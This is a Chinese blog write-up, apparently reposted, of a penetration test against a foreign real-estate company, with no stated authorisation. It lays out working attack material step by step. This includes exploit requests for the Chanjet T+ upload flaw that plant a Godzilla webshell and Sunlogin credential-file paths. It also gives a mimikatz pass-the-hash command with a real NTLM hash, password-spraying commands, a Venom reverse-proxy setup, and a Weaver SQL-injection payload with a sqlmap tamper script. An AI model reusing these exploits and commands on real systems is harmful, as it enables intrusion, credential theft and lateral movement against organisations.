实战!对某地产集团的一次渗透测试
2023-5-9 08:31:19 Author: 潇湘信安(查看原文) 阅读量:23 收藏

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安设为星标”,否则可能看不到了

0x00 前言

对国外某地产公司的一次测试,测试过程中每一步都有阻碍,不像以往的一帆风顺,对其中涉及的一些点进行一个简单的记录,码较厚,见谅。

0x01 入口点

通过资产测绘发现一个畅捷通系统,经查询资料发现一个CNVD-2022-60632的漏洞,发送一个简单的测试包,发现漏洞存在
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1Host: x.x.x.xContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYltUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
------WebKitFormBoundarywwk2ReqGTj7lNYltContent-Disposition: form-data; name="File1";filename="est.aspx"Content-Type: image/jpeg
hello word------WebKitFormBoundarywwk2ReqGTj7lNYlt--

开始上传shell,用哥斯拉生成CShapDynamicPload的马,cmd执行以下命令,-p为马子的目录,test2为生成的马子的目录

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe -v / -p D:\test D:\test2 -fixednames

将马子和生成的.dll、.complied文件都上传上去

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1Host: xxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 1296Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYltAccept-Encoding: gzip, deflate
------WebKitFormBoundarywwk2ReqGTj7lNYltContent-Disposition: form-data; name="File1";filename="test.aspx"Content-Type: image/jpeg
<%@ Page Language="C#"%><%try{string key = "3c6e0b8a9c15224a";byte[] data = new xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ------WebKitFormBoundarywwk2ReqGTj7lNYlt--
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1Host: xxxxxxxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 529Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYltAccept-Encoding: gzip, deflate
------WebKitFormBoundarywwk2ReqGTj7lNYltContent-Disposition: form-data; name="File1";filename="../../../bin/test.aspx.cdcab7d2.compiled"Content-Type: image/jpeg
<?xml version="1.0" encoding="utf-8"?><preserve resultType="3" virtualPath="/infotest.aspx" hash="62838a9aa" filehashxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx------WebKitFormBoundarywwk2ReqGTj7lNYlt--
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1Host: xxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 529Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYltAccept-Encoding: gzip, deflate
------WebKitFormBoundarywwk2ReqGTj7lNYltContent-Disposition: form-data; name="File1";filename="../../../bin/App_Web_test.aspx.cdcab7d2"Content-Type: image/jpeg
<?xml version="1.0" encoding="utf-8"?><preserve resultType="3" virtualPath="/test.aspx" hash="62838a9aa" filehashxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx------WebKitFormBoundarywwk2ReqGTj7lNYlt--

访问http://xxx.xxx.xxx.xxx/tplus/test.aspx?preload=1,成功上线哥斯拉

查看有360杀软,还有向日葵远程桌面

原本想直接读取向日葵配置文件,通过向日葵直接连接到远程桌面,但向日葵的配置文件居然是空白的..

向日葵配置文件路径一般位于以下

绿色版:C:\ProgramData\Oray\SunloginClient\config.ini安装版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
注册表查询安装版:reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo绿色版:reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo简约版:reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginLiteInfo
  • encry_pwd 为本机验证码,为密文,不可解密

  • fastcode 为本机识别码,为明文

解密脚本

https://github.com/wafinfo/Sunflower_get_Password

其实我还可以上传本地的向日葵配置文件去覆盖目标源文件,但这个方法没试,因为以前试过一次没成功,好像还跟版本有关,我还是选择上线到cs再说

因为有360,我随便上了个免杀,上传上去执行的时候报了什么 denied,反正不允许执行。最后使用哥斯拉自带的内存加载pe文件成功上线

0x02 内网

看了下系统是windows server 2012,不能直接抓取明文密码,查了一下arp表还有不少主机,可惜的是不在域里

开始翻主机,翻到一个数据库密码,还是base64的

没有找到其他有用信息了,还是上fscan来一波,没想到fscan不仅没被杀,还能运行?

可以看到两台域控,内网其实还是有机子在域里的,得想办法移到在域的机子里

还有几台ssh弱口令,和一台smb弱口令

内网好多资产可以深入,重点是能横移到域里面的机子;先弄个代理将流量送到内网去,cs自带的socks代理是非常难用的,上传ew,执行的时候还是被denied了

无奈用cs自带的socks代理试试,不行,无法访问内网应用;上传frp、venom等代理工具,执行的时候通通被denied,我寻思你是只允许fscan执行是吧,其他应用通通拦截

转个会话到msf,使用msf的socks的代理也同样不行,看来得把杀软关掉,试了几个驱动来干掉360都失败了,试着添加用户也被拦截了

通过不断尝试终于绕过了360,成功添加用户

打开远程桌面

虽然打开了远程桌面,但无论如何都无法连接到远程桌面,防火墙放行和关闭了都不行,怀疑内网有其他的防护设备。

使用msf进行了一道端口转发

portfwd add -l 3389 -r 127.0.0.1 -p 3389
但使用新建的用户登陆时,还是失败了,提示不能加载用户的配置文件,怀疑通过这个办法新建的用户有问题

server2012默认是不能抓取明文密码的,虽然修改注册表可以,但要重启动静太大了;试着抓了一下,只抓到了一串hash,拿去解密网站也没有解开

但是rdp是可以通过hash直接登录的,使用mimikatz,在win10主机上执行,win7是没有相关参数的

privilege::debugsekurlsa::pth /user:administrator /domain:WIN-E623EEREKAE /ntlm:e2119365a7ce84de9de6e6ff9bdea690 "/run:mstsc.exe /restrictedadmin"
随后会弹出一个mstsc窗口,直接点击登陆就行

成功登陆进来,手动退掉360相关安全防护软件;现在来执行venom开启代理就能执行成功了,果然是被360给拦截了,我很好奇他怎么不拦fscan

#服务器执行/admin_linux_x64 -lport 8085
#客户端执行agent.exe -rhost xxx.xxx.xxx.xxx -rport 8085
goto 1 #进入节点1socks 8050 #开启socks5代理
配置proxychains.conf,先连接那个几ssh弱口令看看

关闭历史命令记录:空格set +o history,通过history发现了几个密码

登录到数据库,但数据库里没发现什么东西,大部分都是空表

这几台linux上也没有发现什么有价值的东西,把目标转向其他;

100段还有一台ms17-010,但打失败了,另外还有一台smb的弱口令也死活横向不过去,什么smbexec、wmiexec甚至ipc链接都不行。

索性把那个弱口令和其他收集的密码来做一个密码喷洒

ff.exe -h x.x.x.x/16 -m smb -pwdf d.txt

这几个一个都没横向成功,是不是被杀软拦了?又把这台机器的hash拿去做了一个喷洒

fscan.exe -h x.x.x.x/16 -m smb2 -user administrator -hash e2119365a7ce84de9de6e6ff9bdea690

喷洒出了3台,但还是一台都没成功;拿出资产结果看看,内网还有4台sqlserver数据库,把刚才搜集到的数据库账户密码拿来做个变形,爆破这4台数据库,很遗憾,还是没一台成功的。

只能从内网的web资产入手了,筛选了一波web应用,发现了一个爆出来没多久的漏洞——泛微sql注入漏洞-CNVD-2023-12632

bp挂个上游代理测试一波

a' union select 1,''+(select @@version)+'
payload需要经过3次url编码,编码脚本
import osdef main():    clearFlag = "y"    while(1):        if clearFlag == "y" or clearFlag == "Y":            os.system("cls")        clearFlag = ""        string = input("请输入需要转换的字符串 :")        for i in range(3):            string = encode(string)        encode_string = string        print("编码结果为:"+encode_string+"\n")
#编码def encode(string): encode_string = "" for char in string: encode_char = hex(ord(char)).replace("0x","%") encode_string += encode_char return encode_stringmain()

漏洞确实存在,而且还是mssql数据库,通过sql注入开启xp_cmdshell不就拿下了吗?

使用sqlmap来跑,但payload需要经过3次编码,编写sqlmap脚本

def enc_url(payload):    encode_string = ""     for char in payload:        encode_char = hex(ord(char)).replace("0x","%")        encode_string += encode_char    return encode_string

def tamper(payload,**kwargs): url_encode = payload str_url = "" for i in range(3): url_encode=enc_url(url_encode) str_url = url_encode return str_url
使用sqlmap挂上代理开跑
sqlmap -r ~/sql2.txt --tamper E-Cology-sql.py --dbms=mssql -proxy socks5://x.x.x.x:8050 --random-agent --timeout 10 --level 5 -p keyword --risk=2
没跑出来,使用sqlmap的前缀后缀参数
sqlmap -r ~/sql2.txt --tamper E-Cology-sql.py --dbms=mssql -proxy socks5://x.x.x.x:8050 --random-agent --timeout 10 -p keyword --prefix="a' union select 1,''+(" --suffix=")+'" --level=5 --risk=2
成功跑出来,但在执行--os-shell--os-cmd时报错

使用手工来进行操作,sqlserver执行命令的那几种方法都试了,都无法执行命令。也尝试了网上一些绕过mssql无法执行命令的方法,都失败了。

得嘞,路又堵死了,累了,不再深入,干饭。

0x03 总结

总的来说还是比较曲折的,各个环节都被卡壳,比较可惜和疑惑的几个点:
  • 1. 360为何不拦截fscan,其他的通通拦掉,还是说fscan被谁加过变名单?(按理说拦截的是进程链,具体不知道作者遇到的是啥情况)

  • 2. 密码喷洒出来的那几台机器,没一台能横向成功的,比较可惜,是杀软拦截还是其他因素?(大概率是被360、火绒的横向防护拦截)
文章来源:先知社区(laohu****)原文地址:https://xz.aliyun.com/t/12508

关 注 有 礼

关注公众号回复“9527”可以领取一套HTB靶场文档和视频1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包2191潇湘信安文章打包,“1212”杀软对比源码+数据源,0421Windows提权工具包
 还在等什么?赶紧点击下方名片关注学习吧!

推 荐 阅 读



文章来源: http://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247503388&idx=1&sn=314f3c981aada6ff293127249667ca8e&chksm=cfa56a0ff8d2e3193ba76110a81110b3e2ace95bcba5cc33797affe63229a8473dea60d4de9b#rd
如有侵权请联系:admin#unsafe.sh